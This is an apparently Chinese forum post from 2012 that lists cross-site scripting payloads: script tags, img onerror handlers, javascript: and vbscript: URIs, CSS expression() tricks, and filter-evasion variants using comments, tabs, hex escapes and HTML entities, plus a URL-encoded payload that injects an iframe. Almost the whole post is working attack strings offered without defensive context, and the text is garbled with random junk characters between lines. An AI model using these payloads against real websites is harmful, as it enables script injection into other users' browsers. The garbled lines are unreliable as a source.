<script>alert("跨站")</script> (最常用）' B. Q3 B" h0 v+ ]5 K7 h
<img scr=javascript:alert("跨站")></img>0 Y! Q* a# g9 t7 C
<img scr="javascript: alert(/跨站/)></img>
P' U: L. Z3 o% |6 m9 K5 l<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
! h4 H$ C C* {: D3 F7 a<img scr="#" onerror=alert(/跨站/)></img>
8 K; O% S6 K2 O) E) P/ x<img scr="#" style="xss:expression(alert(/xss/));"></img>
3 f( B, _. y8 \9 w<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）& ]+ J: H9 l2 S' W4 U& w2 s* x1 ^9 ^
<img src=vbscript:msgbox ("xss")></img>
* q5 o, x h) n% P6 J<style> input {left:expression (alert('xss'))}</style>
' R) s$ G: z( v<div style={left:expression (alert('xss'))}></div>
% A2 _8 w" Q& G1 @5 q, {/ r<div style={left:exp/* */ression (alert('xss'))}></div>
2 c% ^! @) L0 y- o- U' f<div style={left:\0065\0078ression (alert('xss'))}></div>' X2 {/ r4 _" I) g/ E+ P- y9 M
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>; Y2 z# i1 Q) o' S8 i: i
unicode <div style="{left:expRessioN (alert('xss'))}">
& f& x- E z' z; G, X, v0 P8 }' N8 J/ R5 g1 B$ I
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["( i9 y k% g% @: _+ f$ f/ n- p
|
发表于 2012-9-15 14:09:13
收藏
支持
反对